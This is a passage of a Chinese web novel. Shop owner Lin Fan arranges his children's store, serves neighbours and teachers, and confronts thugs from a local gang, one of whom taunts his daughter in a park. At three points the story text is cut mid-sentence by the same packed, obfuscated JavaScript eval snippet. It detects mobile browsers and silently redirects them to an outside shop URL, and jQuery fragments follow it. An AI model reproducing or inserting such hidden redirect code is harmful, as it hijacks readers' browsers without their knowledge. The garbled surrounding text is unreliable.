左边靠门是文具区,铅笔按粗细排:HB的是原木色,挨着头摆,笔帽都朝左;
2B的是绿色笔杆,跟在后面,笔帽也朝左,整整齐齐的一排,像小士兵。
橡皮按卡通形象分,米老鼠的放一格,小熊的放一格,每格都摆得方方正正,还特意留了点空隙,怕挤变形。
荧光笔更用心,蓝的挨粉的,粉的靠黄的,笔帽朝上摆成一排,在灯光下泛着亮,像排小蜡烛,有次一个小女孩来买,指着荧光笔说“像彩虹”,她妈妈笑着买了三支。
中间是童装区,小外套挂在衣架上,按尺码从左到右排:
3岁的、4岁的、5岁的,标签都露在外面,上面写着尺码和棉含量。
裤子叠得四四方方,叠好后还轻轻拍了拍,上面用彩色硬纸板写着“纯棉软裤,不硌腿”——
硬纸板是笑笑画画剩下的,林凡把边缘剪得圆圆的,怕刮着孩子的手。
他还从家里找了把带小熊图案的软尺,之前是笑笑量身高用的,现在挂在货架旁边,家长给孩子量尺寸时,孩子还会指着小熊说“这是我的尺子”,家长们都觉得亲切。
右边是玩具区,积木、玩偶、小汽车分开放在不同的格子里,每个格子上都贴了手写的小标签——标签纸是淡蓝色的,字写得工工整整:
“变形金刚,适合5岁以上,边缘圆滑”“布偶小熊,不掉**,可水洗”。有次一个妈妈找适合3岁孩子的玩具,看了标签,直接就拿了布偶小熊:
“不用问你了,标签写得清清楚楚,省事儿。”
二、服务细节:暖到心里,让人“记着这家店”
他从批发部买了袋“大白兔”奶糖,装在一个洗得锃亮的玻璃罐里;
罐子之前装过蜂蜜,他怕有味道,用开水烫了三遍,晾干才装糖。
只要有小朋友来,不管买不买东西,都递一颗,手指捏着糖纸递过去:
“小朋友,拿颗糖吃,甜滋滋的,别噎着哦。”
有次邻居家的妞妞拿到糖,糖纸剥不开,林凡蹲下来帮她剥,手指指甲小心抠开糖纸边,没弄破。
妞妞吃着糖,眯着眼睛跟妈妈说:
“妈妈,这个糖比家里的甜!”第二天妞妞妈妈就来买了两双小鞋子,还跟林凡说:
“你对孩子这么有耐心,我放心——以后买儿童用品,就来你这儿。”
他还跟王猛定了“服务规矩”:
客人问啥,都得耐心答,别嫌烦,也别瞎答。比如家长问“这衣服洗了会不会缩水”,就说“我试过,冷水洗不缩,晒的时候别拽,干了还是原来的样子”;
要是问“玩具耐不耐摔”,就说“我给笑笑试过,轻轻摔两下没事,别使劲砸”。
王猛记不住,林凡就把这些话写在小纸条上,贴在柜台里,纸条边还画了个小笑脸,提醒他“别着急,慢慢说”。
有次王猛忘了,家长问“积木会不会掉漆”,他愣了下,赶紧看纸条,笑着说:“不会掉漆,我家笑笑玩了半个月,漆都没掉一点。”家长听了,买了两套积木。
三、信息收集:知道“客人要啥”,才能“进对货”
闲下来时,他会跟客人聊天,聊的时候不刻意,像拉家常。
张阿姨抱着孙子来买袜子,说
“这孩子脚长得快,软底的学步鞋不好买,好多鞋穿着硌脚”,林凡赶紧拿出小本子,笔尖在本子上顿了顿,特意画了个小鞋图案,记上“软底学步鞋,15cm,宽脚适用”;
还问了张阿姨孙子的脚长,张阿姨说“大概15厘米”,他特意标在旁边。
后来去市里进货,他转了四个摊位,才找到一款宽脚的学步鞋,拿了五双,回来没几天就卖完了,张阿姨还帮他介绍了两个邻居来买。
李老师来买尺子,说
“学校要订带刻度的尺子,最好是塑料的,不容易断,学生用着安全,要20把”,
林凡赶紧在本子上划个勾,旁边写“塑料刻度尺,15厘米,20把起订”。
他进货时特意多进了10把,怕不够,结果李老师的同事也来买了5把,说
“你们这儿的尺子质量好,学生用着放心”。
有次一个妈妈来买文具盒,说“孩子喜欢奥特曼,跑了好几家店都没找着奥特曼图案的,你这儿有吗?”
林凡心里记着,第二天就去市里的批发市场,转了三个摊位,才找了三款奥特曼文具盒——
有赛罗的,有迪迦的,还有盖亚的。回来没两天,这三款文具盒就卖光了,那个妈妈还特意来谢他:
“太谢谢你了,孩子拿到文具盒,高兴得晚上都抱着睡,还跟同学说‘我叔叔店里有奥特曼文具盒’。”
这些“新花样”,王猛一开始不理解,挠着头问:
“凡子,咱们以前不也卖这些东西吗?何必这么麻烦,费这劲干啥?”
直到有天,之前买过橡皮的李老师,又来买了五支荧光笔,还带了个同事来,说“你们这儿东西摆得清楚,服务也好,孩子自己都能挑,省事儿;
不像别的店,乱七八糟的,找半天找不到”。王猛看着客人选东西时轻松的样子,挠着头笑,笑得有点不好意思:“还是你这办法管用,我以前没想到,原来做生意还能这么干。”
可安稳日子没几天,麻烦又找上来了,像块乌云,突然飘到了店门口。
那天下午,太阳有点晃眼,店里没多少客人,刚过了午休时间,街坊邻居大多还没出来。
林凡正在整理账本,王猛坐在柜台后擦橡皮,手里的布蹭得橡皮“沙沙”响。突然,店门“吱呀”一声被推开,风裹着点尘土进来,吹得货架上的标签纸晃了晃。
进来个穿花衬衫的年轻人,衬衫是橘红色的,上面印着大朵的牡丹,颜色有点褪色,袖口还卷着,露出手腕上的纹身,是个歪扭的“龙”字。
他的头发染得黄一截黑一截,黄的地方还分叉,像营养不良的草。手插在裤兜里,走路晃悠悠的,脚后跟蹭着地面,发出“沙沙”的响,裤兜里的钥匙串还叮当作响。
他绕着货架转了三圈,转得慢悠悠的。
拿起橡皮捏捏,指甲缝里有黑泥,把橡皮捏出个坑,又扔回货架,差点砸到旁边的玩偶,林凡赶紧伸手扶了下;
又把变形金刚举起来看看,手指在机器人胳膊上抠了抠,留下几道印子,就是不说话,眼神飘来飘去,像在找什么茬。
王猛刚要站起来问“您要买啥”,林凡用眼神按住了他——林凡的眼神沉了沉,轻轻摇了摇头,他知道,这是来找事的。
年轻人最后停在玩具区,伸手抓起那个二十五块的变形金刚,手指在铁壳上敲得“咚咚”响,声音有点刺耳,粗声粗气地问:“这玩意儿多少钱?”
林凡从账本上抬起头,语气平静,没带一点情绪:“二十五。”
“二十五?抢钱呢!”
年轻人把变形金刚往柜台上一扔,力气有点大,玩具碰到玻璃门,“咔嗒”响了一声,机器人的胳膊晃了晃,差点从柜台上滑下去。
王猛“腾”地站起来,攥着拳头,指节都白了,要上前理论——
他看不得别人糟蹋店里的东西,这变形金刚是林凡特意挑的,质量好,进价就十八。
林凡赶紧伸手拦在他前面,手指扣着王猛的胳膊肘,按得有点紧,用眼神示意他“别冲动”:
“猛子,别激动,有话好好说。”
“明码标价,童叟无欺。”
林凡看着年轻人的眼睛,没退后半步,语气还是平静,但多了点硬气,他特意指了指收银台旁边的公示牌,
“这是工商所发的公示牌,我这店是合法经营,价格都标在货架上,您可以看。这玩具进价就十八,我只赚七块;
您要是觉得贵,可以再看看别的,店里还有十块的、十五的玩具,质量也不错。”他顿了顿,又说:“要是不买,也别摔东西——这是给孩子的玩具,摔坏了,孩子看着也心疼。”
年轻人被噎了下,脸有点红,斜着眼上下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607490|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打量林凡,嘴角撇了撇,语气更冲了:
“行啊,老板,生意挺火啊。在这条街上开店,规矩懂不懂?”
林凡心里门儿清,这是黑皮的人。黑皮是这条街的地痞,以前摆摊时,林凡就被他要过“保护费”,当时他没给,躲了好几天。
现在开店了,黑皮肯定不会放过他。林凡脸上露出点“困惑”,眉头轻轻皱了皱,语气却没软:
“规矩?
我懂的规矩是合法经营,照章纳税——工商所的新执照下周就拿,街道办也备案了,该走的手续我都走了。
您要是来买东西,我欢迎,给您介绍;要是来聊‘别的规矩’,抱歉,我这儿忙着整理账本,没空。”
他特意把“合法经营”四个字说得重了点,像堵墙,把对方可能的勒索意图堵了回去。
年轻人的脸涨得更红了,瞪了林凡几秒,又扫了眼门口挂着的灭火器,红底白字的,在日光下晃眼,像在提醒他“这店是正规的”;
又看了眼公示牌,眼神有点闪烁。最后,他“哼”了一声,转身摔门走了——门板“哐当”响了下,震得货架上的橡皮盒晃了晃,有块小橡皮掉了下来,滚到了地上。
“妈的,肯定是黑皮派来的!
这小子就是来找茬的!”王猛气得胸口起伏,弯腰捡起橡皮,用力攥在手里,橡皮上的灰都被他攥掉了,“下次再敢来,我跟他拼了!”
林凡把变形金刚放回货架,手指轻轻擦了擦上面的灰,眼神沉了沉,语气比刚才缓了点:
“别冲动,猛子。咱们现在是正规商户,真要闹起来,报警是最好的办法,咱们占着理,不怕。
他们就是想吓吓咱们,让咱们服软,咱们不能中他们的计。”
话虽这么说,他心里却清楚——黑皮这伙人,就像阴沟里的老鼠,不会轻易放过他,迟早还会来,下次说不定就不是“试探”了。
晚上关店后,林凡坐在灯下盘点。台灯是他从家里带来的,瓦数不大,光裹着他的影子,落在墙上,长长的。
半个月下来,营业额一共是一千两百多,除去租金(每月三百,半个月一百五)、进货成本(两百二)、水电费(十五),净赚了四百八十七块——他把钱摊在桌上,一张一张数,数了两遍,没错。
他把钱分成两部分:
三百块放进一个铁盒里,当流动资金——铁盒是笑笑爱吃的草莓饼干盒,上面还有卡通草莓图案,他洗得干干净净,锁上时还轻轻按了按,确保锁牢;
剩下的一百八十七块,塞进一个牛皮纸信封,信封上写着“应急”两个字,下面还小声写了“笑笑学费备用”,压在抽屉最下面——这是他的“底气钱”,万一黑皮真来**,总得有点钱应对,不能慌了手脚。
笑笑趴在旁边的小凳子上,玩着白天卖剩下的小积木;
小手指捏着积木块,往搭好的小房子上拼,拼错了就皱着眉头拿下来,重新拼。
突然,她抬起头,看着林凡说:
“爸爸,咱们的店好亮啊,比以前的棚子亮多了,也暖和多了——棚子漏雨,这里不漏雨。”
林凡摸了摸她的头,手指蹭过她柔软的头发,心里软得像化了的糖。
他抬头看着窗外的月色——月光透过窗户,在地上洒了片银白,刚好照在笑笑的小脚上,她的袜子是粉色的,上面有个小兔子。
街上静悄悄的,只有偶尔传来的狗叫声,还有远处夜市收摊的动静。
他攥了攥拳头,指节轻轻响了下:
这店不是简单的“生意”,是他的桥头堡,是他往“好日子”走的第一步,是他和笑笑的“家”——以前摆摊时,他总觉得飘着,现在有了这店,才算落了脚。
就算前面有再多明枪暗箭,有黑皮这样的麻烦,他也得守住这里。
不能让这好不容易亮起来的“家”,又暗下去。
专业化的路才刚开头,
走得不算顺,有惊有险,但每一步都踩得实。
林凡知道,真正的风雨,还在后面等着呢——
比如黑皮的报复,比如生意淡季的冷清,比如进货时可能遇到的假货。
可他不怕。
只要店还在,只要笑笑还在身边,
他就有劲儿往下走。
灯光下,他看着笑笑拼好的小房子,
又看了看桌上的账本,嘴角轻轻扬了起来——明天,又是新的一天。
第二十五章:平稳的日常
初秋的风裹着清冽的凉意掠过街角,却在“笑笑宝贝屋”门前拐了个弯。
玻璃门内飘出的洗衣液香混着刚拆封的纯棉布料味,像一双手轻轻揽住行人的衣角。
这店开了整58天,从开业头周每天仅3位客人的冷清(有两天甚至只卖出去一双婴儿袜子),到如今傍晚五点半,货架前总围着三两个弯腰挑童装的家长:
穿米色风衣的妈妈正举着件鹅黄色连体服比对女儿的身高,戴鸭舌帽的爸爸蹲在玩具区,陪儿子摆弄惯性小汽车,连空气里都飘着细碎的笑语。
这光景,像田埂上刚冒尖的青苗熬过了倒春寒,终于在土里扎稳了带着潮气的细根。
林凡对这店的上心,连隔壁“陈记蔬菜摊”的陈叔都常跟人念叨。每天凌晨四点五十,天还蒙着层灰蓝,他那辆1998年产的二八大杠就会“吱呀”着从巷口驶出;
车把上挂着个洗得发白的帆布包,里面装着保温杯(泡着最便宜的茉莉花茶,防进货时着凉)和折得边角发毛的进货清单,清单上用红蓝两色圆珠笔标得密密麻麻,连备注都写得周全:
浅粉色纯棉T恤:棉含量95%+,领口双车线(防变形),进价12元/件,建议售价25元
米白色连体爬服:袖口松紧带宽1.5cm(不勒手腕),裆部按扣设计(方便换尿布),进价15.5元/件
婴儿袜子(无骨款):分0-6月、6-12月两码,袜底含防滑胶点,每款必闻(无异味才拿),进价3.8元/双
每次到城西批发市场,他都要在婴幼儿专区耗上三个钟头。上次挑袜子时,摊主嫌他麻烦:
“林老板,都是纯棉的,差不了多少!”
他却蹲在摊位前,把十几种款式挨个儿捏在手里搓——摸到一款带卡通贴布的,手指蹭到贴布边缘有点硬,立刻放下;
拿起另一款纯色的,扯着袜口拉到最大再松开,看弹性是否能恢复,还凑到鼻尖闻了又闻,直到确认只有淡淡的棉絮味才点头:
“孩子皮肤薄,贴布硬了磨腿,有异味可能含甲醛,我可不能卖这种。”这话他跟每个摊主都讲过,前前后后不下二十次。
到了店里摆货,他更是把“细”字刻进了骨子里。
货架高度是按笑笑的身高调的——最下层留足80公分,刚好够三四岁孩子踮脚够到毛绒玩具区,有次住在三楼的朵朵来买玩偶,自己够到了一只棕色小熊,举着跑向妈妈时,朵朵妈笑着说:
“这架子调得真贴心,省得我弯腰帮她找。”
中间层放3到6岁的童装,衣架间距严格留够15厘米,上次张阿姨带孙女来挑外套,两件衣服的衣架没勾住,她感慨:
“别家店衣架挤得要命,挑一件能带下来三件,你这儿就省心。”
最上层堆着库存和120码以上的童装,旁边贴的“需要帮忙请喊我”便签,是用黑色马克笔写的,字体圆润得像小馒头,连老花眼的奶奶都能看清。
还有次周三下午,一位宝妈抱着刚满11个月的宝宝来买连体服,单手挑货时宝宝在怀里扭来扭去,哭个不停。
林凡见状,赶紧从里间搬来折叠小凳子(凳面套着洗干净的棉布套),又从抽屉里拿出消毒过的摇铃——
那是他特意买的备用玩具,每天早上都会用酒精棉片擦一遍。宝妈坐下后,宝宝抓着摇铃“哗啦哗啦”玩,立马不哭了,最后她不仅买了连体服,还多拿了两双防滑袜:
“你这店让人心里踏实,连宝宝的小细节都想到了。”
王猛则是另一种“圈粉风格”,凭着一身实诚热络,成了附近孩子口中的“糖叔”。
上周二下午,中心小学二年级的妞妞来买橡皮,掏钱包时不小心把五块钱掉进了货架缝——那缝只有两指宽,钱卡在最里面。
王猛蹲在地上,膝盖顶着货架底,一手用手机手电筒照,一手伸进去掏,指甲缝里蹭满了灰,连指关节都蹭红了,掏了整整十分钟才把钱抠出来。
妞妞急得眼眶通红,王猛把钱递她时,还从口袋里摸出颗橘子硬糖:
“丫头别哭,这是‘安慰奖’——你看这糖纸,印着小白兔呢。”那糖是他在批发市场门口的小卖部买的,十块钱一大袋,每次兜里都会揣几颗,遇到哭闹的孩子就给一颗。
还有次周六上午,一个小男孩赖在玩具区不肯走,哭着要消防车模型。他妈妈急得额头冒汗:
“家里都有三个了!”王猛见状,走过去蹲下来跟男孩说:
“小朋友,你看这消防车模型的轮子是橡胶的,能跑很远,但今天你要是跟妈妈回家,下次来我给你留个带云梯的,好不好?”
说着又摸出颗糖,男孩攥着糖,居然点点头跟妈妈走了。后来男孩妈妈特意来道谢,还买了两本作业本:“你比我还会哄孩子,以后买文具就来你这儿。”
熟客里,隔壁楼的张阿姨是“忠实粉丝”,每周三下午准来买袜子,雷打不动。
每次来,她都要捏着袜边搓上三下,再把袜子拉展了看袜尖的缝合处——那是无骨缝合的,没有凸起的线疙瘩。她总念叨:
“我家小孙子皮肤嫩,穿别的袜子总磨脚踝,上次穿你家的,在幼儿园跑了五天,脚踝没红印,袜底也没起球。”说着就会拿四双,两双白色两双浅蓝:“给孩子换着穿,脏了能及时洗。”
中心小学的李老师更是“带货达人”,隔三差五就带同事来。
上周四下午,她带了两位女老师来,进门就冲林凡和王猛笑:
“我跟她们说,买文具不用跑文具店,直接来‘笑笑宝贝屋’就行——你们看,连带刻度的三角板(边是圆弧形的,防扎手)、能擦得不留痕的魔笔(墨水是无毒的)、还有印着小猪佩奇的作业本(纸张是80克的,不容易破),这儿全齐了,省得我们跑第二家。”
最后三位老师买了五套三角板、三支魔笔、十本作业本,花了42块钱,走的时候还说:“下次让班里家长也来看看。”
店里的每处细节都透着安稳。墙上的营业执照装在透明塑封里,被阳光晒得边角泛着暖光,下面贴的“诚信经营商户”小奖状是上个月刘科长来检查时给的——
那奖状是红色底烫金字体,边缘还镶着细金边,林凡特意用图钉固定在营业执照旁边,生怕被风吹掉。
门口的两个干粉灭火器擦得锃亮,红色铁壳子上没有半点灰尘,白字“灭火器”三个大字像小灯笼似的醒目。
王猛每天开门第一件事就是检查压力表,他还专门找了个小本子,每天检查完就打勾:“10月1日,左瓶压力表绿色的区域,右瓶正常;10月2日,左瓶正常,右瓶正常……”
他总说:“这玩意儿就是咱们的门神,得让它时刻‘精神’着,万一出事能救命。”
可这份安稳下,总藏着点扎人的隐忧——黑皮那伙人自上次派小弟来探底,就没再露面,却像根刺扎在林凡心里。
上次来的是个染着绿头发的小子,穿件黑色连帽衫,帽子压得很低。进门后他就往童装货架上靠,脚翘在旁边的折叠凳上,手里玩着打火机,“咔哒咔哒”响个不停。
他盯着货架上的纯棉外套问:“你们这店一个月能赚多少?”
林凡当时正给一件牛仔裤改裤脚,手里的针线是浅灰色的,跟裤子颜色几乎一样,他抬头时手里的针还悬着:
“刚够交房租和进货,还没回本呢。”王猛站在旁边,手不自觉地攥紧了拖把杆——
那拖把杆是塑料的,被他攥得“咯吱”响,绿毛瞥了眼王猛,又扫过墙上的营业执照和门口的灭火器,嘴角撇了撇,没多说什么就走了。
这伙人是真的忌惮“合法商户”的名头,还是在暗处憋着更坏的主意?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607491|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>林凡说不准,只敢把心揪得更紧。每天关店时,他都要多绕三圈检查:卷闸门拉到底后,会用手推两下——
那门上有个小划痕,是上次进货时不小心蹭的,他每次推都要摸一下那划痕,像在确认老朋友的安全;
窗户上的插销有点生锈,他每次都要滴两滴润滑油,再反复确认插紧;柜台抽屉里的营业款,他会锁进一个银色小铁盒——
铁盒的密码是笑笑的生日(20180612),锁好后再塞进最里面的柜子,柜子钥匙串在他的腰带上,从不离身。
以前他还想着把收藏的连环画整理整理——那是他年轻时的宝贝,《西游记》有20册,《水浒传》18册,封面是彩色的,有几本封面边角有点磨损,是他当年翻得太勤了。
原本想等笑笑再大些,跟她一起坐在灯下看,可现在这些连环画被他压进了抽屉最底层,上面还压着笑笑幼儿园得的“乖宝宝”奖状——
那张奖状是粉色的,笑笑的照片贴在右上角,笑得露出两颗小牙。林凡每次拉开抽屉看到,心里都会软一下:眼下这店是他和笑笑的安身地,先把根扎稳,比什么都重要。
他的日子过得像上了弦的钟,连喘口气的时间都少。
每天天不亮去进货,中午盯着店,吃饭全靠王猛帮忙带——王猛总给他带馒头夹咸菜,偶尔会加个茶叶蛋,林凡啃馒头时眼睛还盯着门口,生怕错过客人;
傍晚关了门,就陪着笑笑趴在餐桌上写作业。笑笑用的铅笔是带橡皮头的,橡皮头有点脏了,写“木”字时总把最后一笔写长,变成“本”。
林凡从不着急,握着笑笑的小手,笔尖贴着作业本,一笔一划地教:
“笑笑看,‘木’字是一横一竖撇捺,多了这一点就成‘本’啦,咱们慢慢写,写完爸爸给你剥橘子。”
旁边的台灯是暖黄色的,灯光照在作业本上,把父女俩的影子拉得长长的。
笑笑自从上次感冒好后,性子就软了不少,林凡总怕孩子再受委屈。吃饭时,他买的肉都是里脊肉,切成小块炖得软烂,一勺一勺往笑笑碗里夹,自己碗里只有青菜;
煮面条时,必定要卧个溏心荷包蛋,还会把蛋黄拌在面条里,加一点生抽,笑笑每次都能吃一大碗,吃完会捧着碗说:
“爸爸做的面条最好吃!”出门时,林凡总把笑笑的手放进自己的口袋——他的口袋又大又暖,能把笑笑的小手全裹住,尤其是风大的时候,他会把口袋攥紧点,怕孩子冻着。
这天下午的阳光难得的好,金晃晃的光铺在街面上,把梧桐叶晒得透亮,叶脉像画上去的一样。
风一吹,叶子“沙沙”响,还裹着点槐花香——街角那棵老槐树有三十年树龄了,细碎的白色花瓣飘下来,落在店门口的台阶上,有几片被路过的小狗踩了,变成小小的泥团,软乎乎的。
店里没什么客人,王猛正蹲在地上给橡皮分类。
他把橡皮分成两堆:卡通款放在左边,有棕色小熊(耳朵是白色的)、粉色小兔(尾巴是绒布的)、蓝色小汽车(轮子能转);
纯色款放在右边,红、黄、蓝三色各摆一排,每排都摆得整整齐齐。他还在每个格子里放了张小卡片,上面写着“1元/块”,怕孩子看不懂字,特意用圆规画了个硬币图案,边缘还描了圈黑线。
林凡看了眼墙上的挂钟——刚过两点,阳光正好,便跟王猛说:
“猛子,你先看着店,我带笑笑去街心公园晒晒太阳,半个钟头就回来,要是有客人来,你先记在账本上,等我回来再说。”
“哎!放心去!”
王猛直起腰,拍了拍裤腿上的橡皮屑——那些屑是彩色的,沾在他的深灰色裤子上格外显眼。
他想起什么,又要去抽屉里拿积木:“对了,要不要给笑笑带个小积木?万一她在公园想玩呢?”
第二十六章:触逆鳞
“不用,她背着水壶呢。”
林凡笑着摆手,转头看向门口——笑笑早背着天蓝色的小水壶等在那儿了。
水壶带有点长,滑到了胳膊肘,她偷偷用小手往上提了提,另一只手攥着林凡的衣角,指节都泛白。
她的眼睛亮晶晶的,像盛了两颗浸在水里的黑葡萄:“爸爸,公园里有小朋友玩沙子吗?我想堆个小房子,像咱们店里摆的那个玩具房子一样——就是带红色屋顶的那个。”
“有,肯定有。”
林凡走过去,牵着笑笑的手。指尖触到孩子软乎乎的掌心,暖得像揣了块刚烤好的小暖炉。
他弯腰帮笑笑理了理衣领:“咱们去堆个最大的房子,比店里的玩具房子还大,给笑笑当城堡,好不好?”
笑笑用力点头,小脚步都变快了,还时不时抬头看林凡,嘴角翘着,像藏了颗没化的糖。
街心公园不大,却挤满了嬉闹的孩子。
沙坑在公园最里面的角落,周围种着几棵月季,粉的、红的花开得正艳,花瓣上还沾着阳光。
几个五六岁的小孩蹲在沙坑里,手里攥着小铲子、小桶,把沙子堆成一座座歪歪扭扭的小土堡——穿黄色衣服的小男孩叫小明,正把小桶扣在沙子上,拔起来就是一个圆圆的“城堡顶”,还在旁边插了根小树枝当烟囱。
笑声裹着沙粒飘在风里,脆生生的,像刚剥壳的花生。
笑笑的脚步突然顿住了,往林凡身后缩了缩,小手攥着林凡的衣角更紧了——她还是怕生,看着别的小朋友闹,只敢偷偷瞟,手指抠着衣角,小声问:
“爸爸,他们会不会不喜欢我跟他们一起玩呀?我上次跟朵朵玩,她嫌我堆的房子不好看。”
“不会的,小朋友都很友好。”
林凡蹲下来,帮笑笑把水壶带调紧——带子有点松,总往下滑。手指蹭过她的小胳膊,软乎乎的,像碰着刚晒过太阳的棉花。
他指着小明说:“你看那个穿黄衣服的小朋友,他堆的城堡跟你想堆的很像,你去跟他说,说不定他会跟你一起堆呢。”
他顿了顿,又补充:“爸爸在旁边的长椅上看着你,要是有人欺负你,就喊爸爸,爸爸跑着过来,比小兔子还快,好不好?”
笑笑咬着嘴唇,眼睛盯着沙坑里的小土堡,犹豫了几秒,终于点了点头。
她迈着小碎步慢慢走过去,先站在沙坑边看小明堆堡,小明抬头看到她,笑着说:“你要不要一起堆?
我有两个小铲子,给你一个。”笑笑的眼睛亮了亮,接过小铲子——塑料铲柄上还沾着点沙粒,她用小手擦了擦,才慢慢蹲下来。
她往自己面前的沙子上拍了拍,一下、两下、三下……动作轻轻的,像怕把沙子弄疼。
慢慢堆出个矮矮的小土堆后,又从旁边捡了根细细的小树枝,小心地插在土堆顶上当烟囱。做完这些,她嘴角悄悄翘了点,露出两颗小小的虎牙,还转头往林凡的方向看了一眼,像是在邀功。
林凡坐在不远处的长椅上,目光黏在女儿身上,心里暖得发涨。
这种平平淡淡的日子,是他前世想都不敢想的——那时候他在南方的工地上搬砖,每天天不亮就起来,扛着50斤重的水泥袋往三楼、四楼跑,肩膀被磨得通红,贴满了止痛膏药;
中午就蹲在工地角落里吃盒饭,菜里没几片肉,米饭还是凉的,偶尔能吃到块肥肉,他都舍不得吃,想留着带回家(可那时候还没笑笑,家里只有生病的妻子);
晚上累得腰都直不起来,倒在板房的铁架床上就能睡着,哪有机会看着孩子这样安安稳稳地笑?
他摸了摸口袋,掏出烟盒——是红塔山的,里面只剩三根烟。刚想抽出一根点上,又想起上次笑笑闻到烟味咳嗽的样子,赶紧把烟盒塞回口袋,指尖还沾着烟盒的纸味,却觉得心里满得要溢出来——
风里的槐花香、孩子的笑声、女儿软乎乎的笑脸,这些都像甜丝丝的糖,裹着他的心,连呼吸都变得甜了。
可这份甜,没撑多久就被搅碎了。
三个半大小子晃悠悠地走进公园,脚步声“噔噔”的,像踩在人的心上。
领头的是个瘦高个,头发染得半黄半黑,发梢翘着,像被火燎过的野草。
他嘴里叼着根烟,烟蒂烧得只剩个过滤嘴,烫得他“嘶”了一声,才往地上碾了碾——那烟蒂在地上留下个黑色的印子,火星灭了,还冒着点青烟。
林凡一眼就认出来,这是黑皮手下的“刀螂”,上次绿毛来探底时,他在店门口见过这人,当时刀螂正靠在墙上抽烟,眼神阴沉沉的。
他们一进来,原本闹哄哄的公园瞬间静了点。
抱着孩子的妈妈赶紧把孩子往怀里搂,小声说
“别惹他们,上次有个小孩跟他们对视了一眼,就被推了个跟头”;
带孙子玩滑梯的老爷爷,也赶紧拉着孙子往长椅这边走,老爷爷的手都在抖,连说话都放轻了声:
“乖,咱们去那边玩,这边人多。”
刀螂的眼睛像扫雷似的转了圈,很快就盯上了沙坑里的笑笑,也瞥见了长椅上的林凡。
他嘴角勾起个阴恻恻的笑,对旁边两个小弟使了个眼色;
一个留着寸头,耳朵上打了个耳洞,没戴耳钉,耳洞有点发炎,红红的;
一个穿件破洞T恤,破洞在胳膊肘,露出里面的深蓝色秋衣,秋衣上还破了个小洞。
两人立刻会意,跟着刀螂晃着身子朝沙坑走过去,脚步声踩得地上的落叶“沙沙”响,像极了老鼠的爪子在挠地。
林凡的心“咯噔”一下,像被人用手狠狠攥住,瞬间从椅子上站起来,脚步飞快地往沙坑赶;
他太清楚刀螂的德性了,这伙人专挑软的捏。
上次在批发市场,他就见过刀螂抢一个卖糖葫芦的老人的钱,老人攥着钱不肯放,刀螂就把糖葫芦扔在地上,用脚碾碎,老人最后只能哭着把钱给了他。
可还是慢了一步。
刀螂抢先蹲在沙坑边,伸手抄起笑笑旁边的小铲子,对着她刚堆好的小土堡“啪”地拍下去。
铲子尖带着劲,把土堡戳得塌了半边,沙子溅到笑笑的牛仔裤上,沾了个圆圆的小土印,还有几粒沙子进了笑笑的眼睛。
笑笑下意识地揉了揉,眼睛更红了,像只受了委屈的小兔子。
她手里的小铲子“啪嗒”掉在沙坑里,铲柄磕到一块小石头,发出“嗒”的一声
她想去捡,又怕刀螂,手指蜷缩起来,小嘴慢慢瘪了起来,眼眶里瞬间蓄满了泪水——那泪水像两汪小泉,泪珠在睫毛上打转,一眨就掉了下来,砸在沙子上,溅起小小的沙坑。
“哟,小姑娘,这堆的什么玩意儿?跟烂泥似的,一戳就塌。”
刀螂怪笑着,声音又尖又细,像刮玻璃似的刺耳。他伸手就想去捏笑笑的脸蛋——
他的手指又黑又脏,指甲缝里还沾着泥,指尖带着烟味和汗味,熏得笑笑往旁边躲,小脑袋摇得像拨浪鼓,眼泪掉得更凶了。
“把你的手拿开!”
一声冷得像冰的低喝突然砸过来。林凡已经冲到跟前,一把将笑笑拉到自己身后护住,手臂紧紧圈着孩子的肩膀,指节都攥得发白——
他的眼神冷得像淬了冰的刀,太阳穴突突地跳,手因为用力而微微发抖,不是怕,是怒得快绷不住。胸口像堵了团火,烧得他嗓子发紧,连呼吸都带着热气,能闻到自己身上的汗味。
刀螂被这眼神慑了下,手顿在半空中,可很快又仗着人多,站起身来,吊儿郎当地晃了晃肩膀;
他的黑色夹克拉链没拉,里面的灰色T恤印着个骷髅头,看起来脏兮兮的。
“哟,林老板,这么大火气?我跟小姑娘开个玩笑,你急什么?”
他的目光扫过笑笑,带着点猥琐的光,像粘腻的苍蝇,“这闺女长得倒水灵,跟她妈一样?”
这话像根脏针,狠狠扎进林凡心里——他的妻子前年中秋节吵架后走的。临走前,她看着躺在床上的笑笑。“一定要好好照顾笑笑,别让她受委屈”
还摸了摸笑笑的头,说“妈妈会回来接笑笑”。这话是他心里最软的地方,也是最不能碰的逆鳞——侮辱他可以忍,骚扰生意可以周旋,可把主意打到笑笑身上,还提他的妻子,这是在往他心上捅刀子!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607492|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
